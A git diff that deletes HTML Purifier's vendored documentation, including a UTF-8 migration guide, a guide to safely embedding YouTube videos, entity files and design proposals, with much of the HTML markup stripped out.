    This behaviour is quite unsatisfactory. It is a deal-breaker for -international applications, and it can be mildly annoying for the provincial -soul who occasionally needs a special character. Since 1.4.0, HTML -Purifier has provided a slightly more palatable workaround using -%Core.EscapeNonASCIICharacters. The process now looks like:

    - -
      -
    • The Encoder transforms encoding to UTF-8: &theta;
    • -
    • The EntityParser transforms entities: θ
    • -
    • HTML Purifier processes the code: θ
    • -
    • The Encoder replaces all non-ASCII characters - with numeric entity reference: &#952;
    • -
    • For good measure, Encoder transforms encoding back to - original (which is strictly unnecessary for 99% of encodings - out there): &#952; (remember, it's all ASCII!)
    • -
    - -

    ...which means that this is only good for an occasional foray into -the land of Unicode characters, and is totally unacceptable for Chinese -or Japanese texts. The even bigger kicker is that, supposing the -input encoding was actually ISO-8859-7, which does support -theta, the character would get converted into a character entity reference -anyway! (The Encoder does not discriminate).

    - -

    The current functionality is about where HTML Purifier will be for -the rest of eternity. HTML Purifier could attempt to preserve the original -form of the character references so that they could be substituted back in, only the -DOM extension kills them off irreversibly. HTML Purifier could also attempt -to be smart and only convert non-ASCII characters that weren't supported -by the target encoding, but that would require reimplementing iconv -with HTML awareness, something I will not do.

    - -

    So there: either it's UTF-8 or crippled international support. Your pick! (and I'm -not being sarcastic here: some people could care less about other languages).

    - -

    Migrate to UTF-8

    - -

    So, you've decided to bite the bullet, and want to migrate to UTF-8. -Note that this is not for the faint-hearted, and you should expect -the process to take longer than you think it will take.

    - -

    The general idea is that you convert all existing text to UTF-8, -and then you set all the headers and META tags we discussed earlier -to UTF-8. There are many ways going about doing this: you could -write a conversion script that runs through the database and re-encodes -everything as UTF-8 or you could do the conversion on the fly when someone -reads the page. The details depend on your system, but I will cover -some of the more subtle points of migration that may trip you up.

    - -

    Configuring your database

    - -

    Most modern databases, the most prominent open-source ones being MySQL -4.1+ and PostgreSQL, support character encodings. If you're switching -to UTF-8, logically speaking, you'd want to make sure your database -knows about the change too. There are some caveats though:

    - -

    Legit method

    - -

    Standardization in terms of SQL syntax for specifying character -encodings is notoriously spotty. Refer to your respective database's -documentation on how to do this properly.

    - -

    For MySQL, ALTER will magically perform the -character encoding conversion for you. However, you have -to make sure that the text inside the column is what is says it is: -if you had put Shift-JIS in an ISO 8859-1 column, MySQL will irreversibly mangle -the text when you try to convert it to UTF-8. You'll have to convert -it to a binary field, convert it to a Shift-JIS field (the real encoding), -and then finally to UTF-8. Many a website had pages irreversibly mangled -because they didn't realize that they'd been deluding themselves about -the character encoding all along; don't become the next victim.

    - -

    For PostgreSQL, there appears to be no direct way to change the -encoding of a database (as of 8.2). You will have to dump the data, and then reimport -it into a new table. Make sure that your client encoding is set properly: -this is how PostgreSQL knows to perform an encoding conversion.

    - -

    Many times, you will be also asked about the "collation" of -the new column. Collation is how a DBMS sorts text, like ordering -B, C and A into A, B and C (the problem gets surprisingly complicated -when you get to languages like Thai and Japanese). If in doubt, -going with the default setting is usually a safe bet.

    - -

    Once the conversion is all said and done, you still have to remember -to set the client encoding (your encoding) properly on each database -connection using SET NAMES (which is standard SQL and is -usually supported).

    - -

    Binary

    - -

    Due to the aforementioned compatibility issues, a more interoperable -way of storing UTF-8 text is to stuff it in a binary datatype. -CHAR becomes BINARY, VARCHAR becomes -VARBINARY and TEXT becomes BLOB. -Doing so can save you some huge headaches:

    - -
      -
    • The syntax for binary data types is very portable,
    • -
    • MySQL 4.0 has no support for character encodings, so - if you want to support it you have to use binary,
    • -
    • MySQL, as of 5.1, has no support for four byte UTF-8 characters, - which represent characters beyond the basic multilingual - plane, and
    • -
    • You will never have to worry about your DBMS being too smart - and attempting to convert your text when you don't want it to.
    • -
    - -

    MediaWiki, a very prominent international application, uses binary fields -for storing their data because of point three.

    - -

    There are drawbacks, of course:

    - -
      -
    • Database tools like PHPMyAdmin won't be able to offer you inline - text editing, since it is declared as binary,
    • -
    • It's not semantically correct: it's really text not binary - (lying to the database),
    • -
    • Unless you use the not-very-portable wizardry mentioned above, - you have to change the encoding yourself (usually, you'd do - it on the fly), and
    • -
    • You will not have collation.
    • -
    - -

    Choose based on your circumstances.

    - -

    Text editor

    - -

    For more flat-file oriented systems, you will often be tasked with -converting reams of existing text and HTML files into UTF-8, as well as -making sure that all new files uploaded are properly encoded. Once again, -I can only point vaguely in the right direction for converting your -existing files: make sure you backup, make sure you use -iconv(), and -make sure you know what the original character encoding of the files -is (or are, depending on the tidiness of your system).

    - -

    However, I can proffer more specific advice on the subject of -text editors. Many text editors have notoriously spotty Unicode support. -To find out how your editor is doing, you can check out this list -or Wikipedia's list. -I personally use Notepad++, which works like a charm when it comes to UTF-8. -Usually, you will have to explicitly tell the editor through some dialogue -(usually Save as or Format) what encoding you want it to use. An editor -will often offer "Unicode" as a method of saving, which is -ambiguous. Make sure you know whether or not they really mean UTF-8 -or UTF-16 (which is another flavor of Unicode).

    - -

    The two things to look out for are whether or not the editor -supports font mixing (multiple -fonts in one document) and whether or not it adds a BOM. -Font mixing is important because fonts rarely have support for every -language known to mankind: in order to be flexible, an editor must -be able to take a little from here and a little from there, otherwise -all your Chinese characters will come as nice boxes. We'll discuss -BOM below.

    - -

    Byte Order Mark (headers already sent!)

    - -

    The BOM, or Byte -Order Mark, is a magical, invisible character placed at -the beginning of UTF-8 files to tell people what the encoding is and -what the endianness of the text is. It is also unnecessary.

    - -

    Because it's invisible, it often -catches people by surprise when it starts doing things it shouldn't -be doing. For example, this PHP file:

    - -
    BOM<?php
    -header('Location: index.php');
    -?>
    - -

    ...will fail with the all too familiar Headers already sent -PHP error. And because the BOM is invisible, this culprit will go unnoticed. -My suggestion is to only use ASCII in PHP pages, but if you must, make -sure the page is saved WITHOUT the BOM.

    - -
    -

    The headers the error is referring to are HTTP headers, - which are sent to the browser before any HTML to tell it various - information. The moment any regular text (and yes, a BOM counts as - ordinary text) is output, the headers must be sent, and you are - not allowed to send anymore. Thus, the error.

    -
    - -

    If you are reading in text files to insert into the middle of another -page, it is strongly advised (but not strictly necessary) that you replace out the UTF-8 byte -sequence for BOM "\xEF\xBB\xBF" before inserting it in, -via:

    - -
    $text = str_replace("\xEF\xBB\xBF", '', $text);
    - -

    Fonts

    - -

    Generally speaking, people who are having trouble with fonts fall -into two categories:

    - -
      -
    • Those who want to -use an extremely obscure language for which there is very little -support even among native speakers of the language, and
    • -
    • Those where the primary language of the text is -well-supported but there are occasional characters -that aren't supported.
    • -
    - -

    Yes, there's always a chance where an English user happens across -a Sinhalese website and doesn't have the right font. But an English user -who happens not to have the right fonts probably has no business reading Sinhalese -anyway. So we'll deal with the other two edge cases.

    - -

    Obscure scripts

    - -

    If you run a Bengali website, you may get comments from users who -would like to read your website but get heaps of question marks or -other meaningless characters. Fixing this problem requires the -installation of a font or language pack which is often highly -dependent on what the language is. Here is an example -of such a help file for the Bengali language; I am sure there are -others out there too. You just have to point users to the appropriate -help file.

    - -

    Occasional use

    - -

    A prime example of when you'll see some very obscure Unicode -characters embedded in what otherwise would be very bland ASCII are -letters of the -International -Phonetic Alphabet (IPA), use to designate pronunciations in a very standard -manner (you probably see them all the time in your dictionary). Your -average font probably won't have support for all of the IPA characters -like ʘ (bilabial click) or ʒ (voiced postalveolar fricative). -So what's a poor browser to do? Font mix! Smart browsers like Mozilla Firefox -and Internet Explorer 7 will borrow glyphs from other fonts in order -to make sure that all the characters display properly.

    - -

    But what happens when the browser isn't smart and happens to be the -most widely used browser in the entire world? Microsoft IE 6 -is not smart enough to borrow from other fonts when a character isn't -present, so more often than not you'll be slapped with a nice big �. -To get things to work, MSIE 6 needs a little nudge. You could configure it -to use a different font to render the text, but you can achieve the same -effect by selectively changing the font for blocks of special characters -to known good Unicode fonts.

    - -

    Fortunately, the folks over at Wikipedia have already done all the -heavy lifting for you. Get the CSS from the horses mouth here: -Common.css, -and search for ".IPA" There are also a smattering of -other classes you can use for other purposes, check out -this page -for more details. For you lazy ones, this should work:

    - -
    .Unicode {
    -        font-family: Code2000, "TITUS Cyberbit Basic", "Doulos SIL",
    -            "Chrysanthi Unicode", "Bitstream Cyberbit",
    -            "Bitstream CyberBase", Thryomanes, Gentium, GentiumAlt,
    -            "Lucida Grande", "Arial Unicode MS", "Microsoft Sans Serif",
    -            "Lucida Sans Unicode";
    -        font-family /**/:inherit; /* resets fonts for everyone but IE6 */
    -}
    - -

    The standard usage goes along the lines of <span class="Unicode">Crazy -Unicode stuff here</span>. Characters in the -Windows Glyph List -usually don't need to be fixed, but for anything else you probably -want to play it safe. Unless, of course, you don't care about IE6 -users.

    - -

    Dealing with variable width in functions

    - -

    When people claim that PHP6 will solve all our Unicode problems, they're -misinformed. It will not fix any of the aforementioned troubles. It will, -however, fix the problem we are about to discuss: processing UTF-8 text -in PHP.

    - -

    PHP (as of PHP5) is blithely unaware of the existence of UTF-8 (with a few -notable exceptions). Sometimes, this will cause problems, other times, -this won't. So far, we've avoided discussing the architecture of -UTF-8, so, we must first ask, what is UTF-8? Yes, it supports Unicode, -and yes, it is variable width. Other traits:

    - -
      -
    • Every character's byte sequence is unique and will never be found - inside the byte sequence of another character,
    • -
    • UTF-8 may use up to four bytes to encode a character,
    • -
    • UTF-8 text must be checked for well-formedness,
    • -
    • Pure ASCII is also valid UTF-8, and
    • -
    • Binary sorting will sort UTF-8 in the same order as Unicode.
    • -
    - -

    Each of these traits affect different domains of text processing -in different ways. It is beyond the scope of this document to explain -what precisely these implications are. PHPWact provides -a very good reference document -on what to expect from each function, although coverage is spotty in -some areas. Their more general notes on -character sets -are also worth looking at for information on UTF-8. Some rules of thumb -when dealing with Unicode text:

    - -
      -
    • Do not EVER use functions that:
        -
      • ...convert case (strtolower, strtoupper, ucfirst, ucwords)
      • -
      • ...claim to be case-insensitive (str_ireplace, stristr, strcasecmp)
      • -
    • -
    • Think twice before using functions that:
        -
      • ...count characters (strlen will return bytes, not characters; - str_split and word_wrap may corrupt)
      • -
      • ...convert characters to entity references (UTF-8 doesn't need entities)
      • -
      • ...do very complex string processing (*printf)
      • -
    • -
    - -

    Note: this list applies to UTF-8 encoded text only: if you have -a string that you are 100% sure is ASCII, be my guest and use -strtolower (HTML Purifier uses this function.)

    - -

    Regardless, always think in bytes, not characters. If you use strpos() -to find the position of a character, it will be in bytes, but this -usually won't matter since substr() also operates with byte indices!

    - -

    You'll also need to make sure your UTF-8 is well-formed and will -probably need replacements for some of these functions. I recommend -using Harry Fuecks' PHP -UTF-8 library, rather than use mb_string directly. HTML Purifier -also defines a few useful UTF-8 compatible functions: check out -Encoder.php in the /library/HTMLPurifier/ -directory.

    - - - -

    Well, that's it. Hopefully this document has served as a very -practical springboard into knowledge of how UTF-8 works. You may have -decided that you don't want to migrate yet: that's fine, just know -what will happen to your output and what bug reports you may receive.

    - -

    Many other developers have already discussed the subject of Unicode, -UTF-8 and internationalization, and I would like to defer to them for -a more in-depth look into character sets and encodings.

    - - - - - - - diff --git a/vendor/htmlpurifier/docs/enduser-youtube.html b/vendor/htmlpurifier/docs/enduser-youtube.html deleted file mode 100644 index 87a36b9aa..000000000 --- a/vendor/htmlpurifier/docs/enduser-youtube.html +++ /dev/null @@ -1,153 +0,0 @@ - - - - - - - -Embedding YouTube Videos - HTML Purifier - - - -

    Embedding YouTube Videos

    -
    ...as well as other dangerous active content
    - -
    Filed under End-User
    -
    Return to the index.
    -
    HTML Purifier End-User Documentation
    - -

    Clients like their YouTube videos. It gives them a warm fuzzy feeling when -they see a neat little embedded video player on their websites that can play -the latest clips from their documentary "Fido and the Bones of Spring". -All joking aside, the ability to embed YouTube videos or other active -content in their pages is something that a lot of people like.

    - -

    This is a bad idea. The moment you embed anything untrusted, -you will definitely be slammed by a manner of nasties that can be -embedded in things from your run of the mill Flash movie to -Quicktime movies. -Even img tags, which HTML Purifier allows by default, can be -dangerous. Be distrustful of anything that tells a browser to load content -from another website automatically.

    - -

    Luckily for us, however, whitelisting saves the day. Sure, letting users -include any old random flash file could be dangerous, but if it's -from a specific website, it probably is okay. If no amount of pleading will -convince the people upstairs that they should just settle with just linking -to their movies, you may find this technique very useful.

    - -

    Looking in

    - -

    Below is custom code that allows users to embed -YouTube videos. This is not favoritism: this trick can easily be adapted for -other forms of embeddable content.

    - -

    Usually, websites like YouTube give us boilerplate code that you can insert -into your documents. YouTube's code goes like this:

    - -
    -<object width="425" height="350">
    -  <param name="movie" value="http://www.youtube.com/v/AyPzM5WK8ys" />
    -  <param name="wmode" value="transparent" />
    -  <embed src="http://www.youtube.com/v/AyPzM5WK8ys"
    -         type="application/x-shockwave-flash"
    -         wmode="transparent" width="425" height="350" />
    -</object>
    -
    - -

    There are two things to note about this code:

    - -
      -
    1. <embed> is not recognized by W3C, so if you want - standards-compliant code, you'll have to get rid of it.
    2. -
    3. The code is exactly the same for all instances, except for the - identifier AyPzM5WK8ys which tells us which movie file - to retrieve.
    4. -
    - -

    What point 2 means is that if we have code like <span -class="youtube-embed">AyPzM5WK8ys</span> your -application can reconstruct the full object from this small snippet that -passes through HTML Purifier unharmed. -Show me the code!

    - -

    And the corresponding usage:

    - -
    <?php
    -    $config->set('Filter.YouTube', true);
    -?>
    - -

    There is a bit going in the two code snippets, so let's explain.

    - -
      -
    1. This is a Filter object, which intercepts the HTML that is - coming into and out of the purifier. You can add as many - filter objects as you like. preFilter() - processes the code before it gets purified, and postFilter() - processes the code afterwards. So, we'll use preFilter() to - replace the object tag with a span, and postFilter() - to restore it.
    2. -
    3. The first preg_replace call replaces any YouTube code users may have - embedded into the benign span tag. Span is used because it is inline, - and objects are inline too. We are very careful to be extremely - restrictive on what goes inside the span tag, as if an errant code - gets in there it could get messy.
    4. -
    5. The HTML is then purified as usual.
    6. -
    7. Then, another preg_replace replaces the span tag with a fully fledged - object. Note that the embed is removed, and, in its place, a data - attribute was added to the object. This makes the tag standards - compliant! It also breaks Internet Explorer, so we add in a bit of - conditional comments with the old embed code to make it work again. - It's all quite convoluted but works.
    8. -
    - -

    Warning

    - -

    There are a number of possible problems with the code above, depending -on how you look at it.

    - -

    Cannot change width and height

    - -

    The width and height of the final YouTube movie cannot be adjusted. This -is because I am lazy. If you really insist on letting users change the size -of the movie, what you need to do is package up the attributes inside the -span tag (along with the movie ID). It gets complicated though: a malicious -user can specify an outrageously large height and width and attempt to crash -the user's operating system/browser. You need to either cap it by limiting -the amount of digits allowed in the regex or using a callback to check the -number.

    - -

    Trusts media's host's security

    - -

    By allowing this code onto our website, we are trusting that YouTube has -tech-savvy enough people not to allow their users to inject malicious -code into the Flash files. An exploit on YouTube means an exploit on your -site. Even though YouTube is run by the reputable Google, it -doesn't -mean they are -invulnerable. -You're putting a certain measure of the job on an external provider (just as -you have by entrusting your user input to HTML Purifier), and -it is important that you are cognizant of the risk.

    - -

    Poorly written adaptations compromise security

    - -

    This should go without saying, but if you're going to adapt this code -for Google Video or the like, make sure you do it right. It's -extremely easy to allow a character too many in postFilter() and -suddenly you're introducing XSS into HTML Purifier's XSS free output. HTML -Purifier may be well written, but it cannot guard against vulnerabilities -introduced after it has finished.

    - -

    Help out!

    - -

    If you write a filter for your favorite video destination (or anything -like that, for that matter), send it over and it might get included -with the core!

    - - - - - diff --git a/vendor/htmlpurifier/docs/entities/xhtml-lat1.ent b/vendor/htmlpurifier/docs/entities/xhtml-lat1.ent deleted file mode 100644 index ffee223eb..000000000 --- a/vendor/htmlpurifier/docs/entities/xhtml-lat1.ent +++ /dev/null @@ -1,196 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/vendor/htmlpurifier/docs/entities/xhtml-special.ent b/vendor/htmlpurifier/docs/entities/xhtml-special.ent deleted file mode 100644 index ca358b2fe..000000000 --- a/vendor/htmlpurifier/docs/entities/xhtml-special.ent +++ /dev/null @@ -1,80 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/vendor/htmlpurifier/docs/entities/xhtml-symbol.ent b/vendor/htmlpurifier/docs/entities/xhtml-symbol.ent deleted file mode 100644 index 63c2abfa6..000000000 --- a/vendor/htmlpurifier/docs/entities/xhtml-symbol.ent +++ /dev/null @@ -1,237 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/vendor/htmlpurifier/docs/examples/basic.php b/vendor/htmlpurifier/docs/examples/basic.php deleted file mode 100644 index b51096d2d..000000000 --- a/vendor/htmlpurifier/docs/examples/basic.php +++ /dev/null @@ -1,23 +0,0 @@ -set('Core.Encoding', 'UTF-8'); // replace with your encoding -$config->set('HTML.Doctype', 'XHTML 1.0 Transitional'); // replace with your doctype - -$purifier = new HTMLPurifier($config); - -// untrusted input HTML -$html = 'Simple and short'; - -$pure_html = $purifier->purify($html); - -echo '
    ' . htmlspecialchars($pure_html) . '
    '; - -// vim: et sw=4 sts=4 diff --git a/vendor/htmlpurifier/docs/fixquotes.htc b/vendor/htmlpurifier/docs/fixquotes.htc deleted file mode 100644 index 80dda2dc2..000000000 --- a/vendor/htmlpurifier/docs/fixquotes.htc +++ /dev/null @@ -1,9 +0,0 @@ - - - - diff --git a/vendor/htmlpurifier/docs/index.html b/vendor/htmlpurifier/docs/index.html deleted file mode 100644 index 3c4ecc716..000000000 --- a/vendor/htmlpurifier/docs/index.html +++ /dev/null @@ -1,188 +0,0 @@ - - - - - - - -Documentation - HTML Purifier - - - - -

    Documentation

    - -

    HTML Purifier has documentation for all types of people. -Here is an index of all of them.

    - -

    End-user

    -

    End-user documentation that contains articles, tutorials and useful -information for casual developers using HTML Purifier.

    - -
    - -
    IDs
    -
    Explains various methods for allowing IDs in documents safely.
    - -
    Embedding YouTube videos
    -
    Explains how to safely allow the embedding of flash from trusted sites.
    - -
    Speeding up HTML Purifier
    -
    Explains how to speed up HTML Purifier through caching or inbound filtering.
    - -
    UTF-8: The Secret of Character Encoding
    -
    Describes the rationale for using UTF-8, the ramifications otherwise, and how to make the switch.
    - -
    Tidy
    -
    Tutorial for tweaking HTML Purifier's Tidy-like behavior.
    - -
    Customize
    -
    Tutorial for customizing HTML Purifier's tag and attribute sets.
    - -
    URI Filters
    -
    Tutorial for creating custom URI filters.
    - -
    - -

    Development

    -

    Developer documentation detailing code issues, roadmaps and project -conventions.

    - -
    - -
    Implementation Progress
    -
    Tables detailing HTML element and CSS property implementation coverage.
    - -
    Naming Conventions
    -
    Defines class naming conventions.
    - -
    Optimization
    -
    Discusses possible methods of optimizing HTML Purifier.
    - -
    Flushing the Purifier
    -
    Discusses when to flush HTML Purifier's various caches.
    - -
    Advanced API
    -
    Specification for HTML Purifier's advanced API for defining -custom filtering behavior.
    - -
    Config Schema
    -
    Describes config schema framework in HTML Purifier.
    - -
    - -

    Proposals

    -

    Proposed features, as well as the associated rambling to get a clear -objective in place before attempted implementation.

    - -
    -
    Colors
    -
    Proposal to allow for color constraints.
    -
    - -

    Reference

    -

    Miscellaneous essays, research pieces and other reference type material -that may not directly discuss HTML Purifier.

    - -
    -
    DevNetwork Credits
    -
    Credits and links to DevNetwork forum topics.
    -
    - -

    Internal memos

    - -

    Plaintext documents that are more for use by active developers of -the code. They may be upgraded to HTML files or stay as TXT scratchpads.

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    TypeNameDescription
    End-userOverviewHigh level overview of the general control flow (mostly obsolete).
    End-userSecurityCommon security issues that may still arise (half-baked).
    DevelopmentConfig BC BreaksBackwards-incompatible changes in HTML Purifier 4.0.0
    DevelopmentCode Quality IssuesEnumerates code quality issues and places that need to be refactored.
    ProposalFilter levelsOutlines details of projected configurable level of filtering.
    ProposalLanguageSpecification of I18N for error messages derived from MediaWiki (half-baked).
    ProposalNew directivesAssorted configuration options that could be implemented.
    ProposalCSS extractionTaking the inline CSS out of documents and into style.
    ReferenceHandling Content Model ChangesDiscusses how to tidy up content model changes using custom ChildDef classes.
    ReferenceProprietary tagsList of vendor-specific tags we may want to transform to W3C compliant markup.
    ReferenceModularization of HTMLDefinitionProvides a high-level overview of the concepts behind HTMLModules.
    ReferenceWHATWGHow WHATWG plays into what we need to do.
    - - - - - diff --git a/vendor/htmlpurifier/docs/proposal-colors.html b/vendor/htmlpurifier/docs/proposal-colors.html deleted file mode 100644 index 657633882..000000000 --- a/vendor/htmlpurifier/docs/proposal-colors.html +++ /dev/null @@ -1,49 +0,0 @@ - - - - - - - -Proposal: Colors - HTML Purifier - - - -

    Colors

    -
    Hammering some sense into those color-blind newbies
    - -
    Filed under Proposals
    -
    Return to the index.
    -
    HTML Purifier End-User Documentation
    - -

    Your website probably has a color-scheme. -Green on white, -purple on yellow, -whatever. When you give users the ability to style their content, you may -want them to keep in line with your styling. If you're website is all -about light colors, you don't want a user to come in and vandalize your -page with a deep maroon.

    - -

    This is an extremely silly feature proposal, but I'm writing it down anyway.

    - -

    What if the user could constrain the colors specified in inline styles? You -are only allowed to use these shades of dark green for text and these shades -of light yellow for the background. At the very least, you could ensure -that we did not have pale yellow on white text.

    - -

    Implementation issues

    - -
      -
    1. Requires the color attribute definition to know, currently, what the text -and background colors are. This becomes difficult when classes are thrown -into the mix.
    2. -
    3. The user still has to define the permissible colors, how does one do -something like that?
    4. -
    - - - - - diff --git a/vendor/htmlpurifier/docs/proposal-config.txt b/vendor/htmlpurifier/docs/proposal-config.txt deleted file mode 100644 index 4e031c586..000000000 --- a/vendor/htmlpurifier/docs/proposal-config.txt +++ /dev/null @@ -1,23 +0,0 @@ - -Configuration - -Configuration is documented on a per-use case: if a class uses a certain -value from the configuration object, it has to define its name and what the -value is used for. This means decentralized configuration declarations that -are nevertheless error checking and a centralized configuration object. - -Directives are divided into namespaces, indicating the major portion of -functionality they cover (although there may be overlaps). Please consult -the documentation in ConfigDef for more information on these namespaces. - -Since configuration is dependant on context, internal classes require a -configuration object to be passed as a parameter. (They also require a -Context object). A majority of classes do not need the config object, -but for those who do, it is a lifesaver. - -Definition objects are complex datatypes influenced by their respective -directive namespaces (HTMLDefinition with HTML and CSSDefinition with CSS). -If any of these directives is updated, HTML Purifier forces the definition -to be regenerated. - - vim: et sw=4 sts=4 diff --git a/vendor/htmlpurifier/docs/proposal-css-extraction.txt b/vendor/htmlpurifier/docs/proposal-css-extraction.txt deleted file mode 100644 index 9933c96b8..000000000 --- a/vendor/htmlpurifier/docs/proposal-css-extraction.txt +++ /dev/null @@ -1,34 +0,0 @@ - -Extracting inline CSS from HTML Purifier - voodoofied: Assigning semantics to elements - -Sander Tekelenburg brought to my attention the poor programming style of -inline CSS in HTML documents. In an ideal world, we wouldn't be using inline -CSS at all: everything would be assigned using semantic class attributes -from an external stylesheet. - -With ExtractStyleBlocks and CSSTidy, this is now possible (when allowed, users -can specify a style element which gets extracted from the user-submitted HTML, which -the application can place in the head of the HTML document). But there still -is the issue of inline CSS that refuses to go away. - -The basic idea behind this feature is assign every element a unique identifier, -and then move all of the CSS data to a style-sheet. This HTML: - -
    Big things!
    - -into - -
    Big things!
    - -and a stylesheet that is: - -#hp-12345 {text-align:center;} -#hp-12346 {color:red;} - -Beyond that, HTML Purifier can magically merge common CSS values together, -and a whole manner of other heuristic things. HTML Purifier should also -make it easy for an admin to re-style the HTML semantically. Speed is not -an issue. Also, better WYSIWYG editors are needed. - - vim: et sw=4 sts=4 diff --git a/vendor/htmlpurifier/docs/proposal-errors.txt b/vendor/htmlpurifier/docs/proposal-errors.txt deleted file mode 100644 index 87cb2ac19..000000000 --- a/vendor/htmlpurifier/docs/proposal-errors.txt +++ /dev/null @@ -1,211 +0,0 @@ -Considerations for ErrorCollection - -Presently, HTML Purifier takes a code-execution centric approach to handling -errors. Errors are organized and grouped according to which segment of the -code triggers them, not necessarily the portion of the input document that -triggered the error. This means that errors are pseudo-sorted by category, -rather than location in the document. - -One easy way to "fix" this problem would be to re-sort according to line number. -However, the "category" style information we derive from naively following -program execution is still useful. After all, each of the strategies which -can report errors still process the document mostly linearly. Furthermore, -not only do they process linearly, but the way they pass off operations to -sub-systems mirrors that of the document. For example, AttrValidator will -linearly proceed through elements, and on each element will use AttrDef to -validate those contents. From there, the attribute might have more -sub-components, which have execution passed off accordingly. - -In fact, each strategy handles a very specific class of "error." - -RemoveForeignElements - element tokens -MakeWellFormed - element token ordering -FixNesting - element token ordering -ValidateAttributes - attributes of elements - -The crucial point is that while we care about the hierarchy governing these -different errors, we *don't* care about any other information about what actually -happens to the elements. This brings up another point: if HTML Purifier fixes -something, this is not really a notice/warning/error; it's really a suggestion -of a way to fix the aforementioned defects. - -In short, the refactoring to take this into account kinda sucks. - -Errors should not be recorded in order that they are reported. Instead, they -should be bound to the line (and preferably element) in which they were found. -This means we need some way to uniquely identify every element in the document, -which doesn't presently exist. An easy way of adding this would be to track -line columns. An important ramification of this is that we *must* use the -DirectLex implementation. - - 1. Implement column numbers for DirectLex [DONE!] - 2. Disable error collection when not using DirectLex [DONE!] - -Next, we need to re-orient all of the error declarations to place CurrentToken -at utmost important. Since this is passed via Context, it's not always clear -if that's available. ErrorCollector should complain HARD if it isn't available. -There are some locations when we don't have a token available. These include: - - * Lexing - this can actually have a row and column, but NOT correspond to - a token - * End of document errors - bump this to the end - -Actually, we *don't* have to complain if CurrentToken isn't available; we just -set it as a document-wide error. And actually, nothing needs to be done here. - -Something interesting to consider is whether or not we care about the locations -of attributes and CSS properties, i.e. the sub-objects that compose these things. -In terms of consistency, at the very least attributes should have column/line -numbers attached to them. However, this may be overkill, as attributes are -uniquely identifiable. You could go even further, with CSS, but they are also -uniquely identifiable. - -Bottom-line is, however, this information must be available, in form of the -CurrentAttribute and CurrentCssProperty (theoretical) context variables, and -it must be used to organize the errors that the sub-processes may throw. -There is also a hierarchy of sorts that may make merging this into one context -variable more sense, if it hadn't been for HTML's reasonably rigid structure. -A CSS property will never contain an HTML attribute. So we won't ever get -recursive relations, and having multiple depths won't ever make sense. Leave -this be. - -We already have this information, and consequently, using start and end is -*unnecessary*, so long as the context variables are set appropriately. We don't -care if an error was thrown by an attribute transform or an attribute definition; -to the end user these are the same (for a developer, they are different, but -they're better off with a stack trace (which we should add support for) in such -cases). - - 3. Remove start()/end() code. Don't get rid of recursion, though [DONE] - 4. Setup ErrorCollector to use context information to setup hierarchies. - This may require a different internal format. Use objects if it gets - complex. [DONE] - - ASIDE - More on this topic: since we are now binding errors to lines - and columns, a particular error can have three relationships to that - specific location: - - 1. The token at that location directly - RemoveForeignElements - AttrValidator (transforms) - MakeWellFormed - 2. A "component" of that token (i.e. attribute) - AttrValidator (removals) - 3. A modification to that node (i.e. contents from start to end - token) as a whole - FixNesting - - This needs to be marked accordingly. In the presentation, it might - make sense keep (3) separate, have (2) a sublist of (1). (1) can - be a closing tag, in which case (3) makes no sense at all, OR it - should be related with its opening tag (this may not necessarily - be possible before MakeWellFormed is run). - - So, the line and column counts as our identifier, so: - - $errors[$line][$col] = ... - - Then, we need to identify case 1, 2 or 3. They are identified as - such: - - 1. Need some sort of semaphore in RemoveForeignElements, etc. - 2. If CurrentAttr/CurrentCssProperty is non-null - 3. Default (FixNesting, MakeWellFormed) - - One consideration about (1) is that it usually is actually a - (3) modification, but we have no way of knowing about that because - of various optimizations. However, they can probably be treated - the same. The other difficulty is that (3) is never a line and - column; rather, it is a range (i.e. a duple) and telling the user - the very start of the range may confuse them. For example, - - Foo
    bar
    - ^ ^ - - The node being operated on is , so the error would be assigned - to the first caret, with a "node reorganized" error. Then, the - ChildDef would have submitted its own suggestions and errors with - regard to what's going in the internals. So I suppose this is - ok. :-) - - Now, the structure of the earlier mentioned ... would be something - like this: - - object { - type = (token|attr|property), - value, // appropriate for type - errors => array(), - sub-errors = [recursive], - } - - This helps us keep things agnostic. It is also sufficiently complex - enough to warrant an object. - -So, more wanking about the object format is in order. The way HTML Purifier is -currently setup, the only possible hierarchy is: - - token -> attr -> css property - -These relations do not exist all of the time; a comment or end token would not -ever have any attributes, and non-style attributes would never have CSS properties -associated with them. - -I believe that it is worth supporting multiple paths. At some point, we might -have a hierarchy like: - - * -> syntax - -> token -> attr -> css property - -> url - -> css stylesheet - - - -

    HTML align attribute to CSS

    - -

    Inspect source for methodology.

    - -
    -
    - HTML -
    -
    - CSS -
    -
    - -
    - -

    table.align

    - -

    left

    -
    -
    - a
    O
    a -
    -
    - a
    O
    a -
    -
    - -

    center

    -
    -
    - a
    O
    a -
    -
    - a
    O
    a -
    -
    - -

    right

    -
    -
    - a
    O
    a -
    -
    - a
    O
    a -
    -
    - -
    - - - -
    -

    img.align

    -

    left

    -
    -
    - aa -
    -
    - aa -
    -
    - -

    right

    -
    -
    - aa -
    -
    - aa -
    -
    - -

    bottom

    -
    -
    - aa -
    -
    - aa -
    -
    - -

    middle

    -
    -
    - aa -
    -
    - aa -
    -
    - -

    top

    -
    -
    - aa -
    -
    - aa -
    -
    - -
    - - - -
    - -

    hr.align

    - -

    left

    -
    -
    -
    -
    -
    -
    -
    -
    - -

    center

    -
    -
    -
    -
    -
    -
    -
    -
    - -

    right

    -
    -
    -
    -
    -
    -
    -
    -
    - -
